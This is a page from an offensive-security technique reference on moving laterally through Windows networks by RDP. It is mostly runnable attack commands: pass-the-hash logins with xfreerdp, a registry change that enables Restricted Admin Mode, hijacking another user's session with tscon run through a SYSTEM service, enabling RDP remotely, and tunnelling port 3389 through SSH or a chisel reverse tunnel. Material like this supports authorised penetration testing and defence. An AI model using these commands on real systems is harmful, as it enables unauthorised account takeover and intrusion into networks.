# RDP Hijacking and Credential Reuse

> Exploits RDP sessions and reused credentials to move laterally across Windows environments, hijacking active sessions without requiring plaintext passwords.

- **URL:** https://hackindex.io/platforms/windows/lateral-movement/rdp-hijacking-and-credential-reuse
- **Path:** Windows > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

RDP lateral movement covers two distinct techniques: authenticating to RDP with valid credentials or hashes, and hijacking existing RDP sessions belonging to other users without needing their credentials. Session hijacking requires SYSTEM-level access on the target host and works regardless of whether the session owner is actively connected.

## RDP access with credentials

Standard RDP access from Linux using valid credentials. The most straightforward path when you have credentials and port 3389 is reachable.

**RDP connection from Linux**

```bash
# xfreerdp: most feature-complete Linux RDP client
xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP
xfreerdp /u:$USER /p:$PASSWORD /d:$DOMAIN /v:$TARGET_IP

# Ignore certificate warnings
xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /cert-ignore

# Drive redirection (mount local folder on remote desktop)
xfreerdp /u:$USER /p:$PASSWORD /v:$TARGET_IP /drive:share,/home/kali/transfer

# Pass-the-Hash via RDP (requires Restricted Admin Mode enabled)
xfreerdp /u:$USER /pth:$NTHASH /v:$TARGET_IP /cert-ignore
```

Pass-the-Hash over RDP only works when Restricted Admin Mode is enabled on the target. Check with: `reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin`: a value of `0` means it is enabled. If it is not enabled and you have admin access, you can enable it: `reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0`.

## RDP session hijacking

From a SYSTEM shell on a Windows host, you can take over any disconnected RDP session belonging to any user without knowing their password. This works by creating a new service that runs `tscon` to connect your current session to the target session.

**Hijack a disconnected RDP session**

```powershell
# List active and disconnected sessions
query session
qwinsta

# Example output shows session IDs:
# SESSIONNAME  USERNAME    ID   STATE
# services                  0   Disc
# >rdp-tcp#0   current     1   Active
#  rdp-tcp#1   admin       2   Disc    <-- target to hijack

# Hijack session ID 2: requires SYSTEM
tscon 2 /dest:rdp-tcp#0

# If not already SYSTEM, create a service to run tscon as SYSTEM
sc create hijack binPath= "cmd.exe /k tscon 2 /dest:rdp-tcp#0"
sc start hijack
```

Once you run `tscon`, your RDP session transitions to the hijacked session and you are now operating as that user with their full desktop. No re-authentication occurs. Requirements for session hijacking:

- SYSTEM-level access on the target host
- A disconnected or active session belonging to the target user
- Your own active RDP session to redirect into

Clean up the service after use: `sc delete hijack`.

## Enabling RDP remotely

When RDP is disabled on a target you can reach via another method, enable it through the registry or firewall rules.

**Enable RDP on a remote host**

```powershell
# Enable RDP via registry (requires admin)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# Allow RDP through Windows Firewall
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes

# Confirm RDP service is running
Get-Service -Name TermService | Set-Service -StartupType Automatic
Start-Service -Name TermService

# Enable via nxc remotely
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M rdp -o ACTION=enable
```

## RDP port forwarding when 3389 is not directly reachable

When the target's RDP port is only reachable from the internal network, forward it through your existing shell session.

**Port forward RDP via SSH tunnel**

```bash
# Forward remote 3389 to local port 13389 through a pivot host
ssh -L 13389:$TARGET_IP:3389 user@$PIVOT_HOST

# Connect to forwarded port
xfreerdp /u:$USER /p:$PASSWORD /v:127.0.0.1:13389

# Chisel tunnel alternative (when SSH is not available)
# On attack box:
chisel server -p 8080 --reverse
# On pivot host:
chisel client $LHOST:8080 R:13389:$TARGET_IP:3389
# Then connect:
xfreerdp /u:$USER /p:$PASSWORD /v:127.0.0.1:13389
```

For the broader pivoting and tunneling workflow when multiple network segments are involved see [WinRM and PowerShell Remoting](https://hackindex.io/platforms/windows/lateral-movement/winrm-and-powershell-remoting). For using recovered RDP credentials for persistence see [Windows Account and Backdoor Creation](https://hackindex.io/platforms/windows/persistence/windows-account-and-backdoor-creation).

## References

- [xfreerdp: FreeRDP GitHub](https://github.com/FreeRDP/FreeRDP) - Full xfreerdp parameter reference
- [Chisel: GitHub](https://github.com/jpillora/chisel) - TCP tunneling tool for port forwarding through firewalls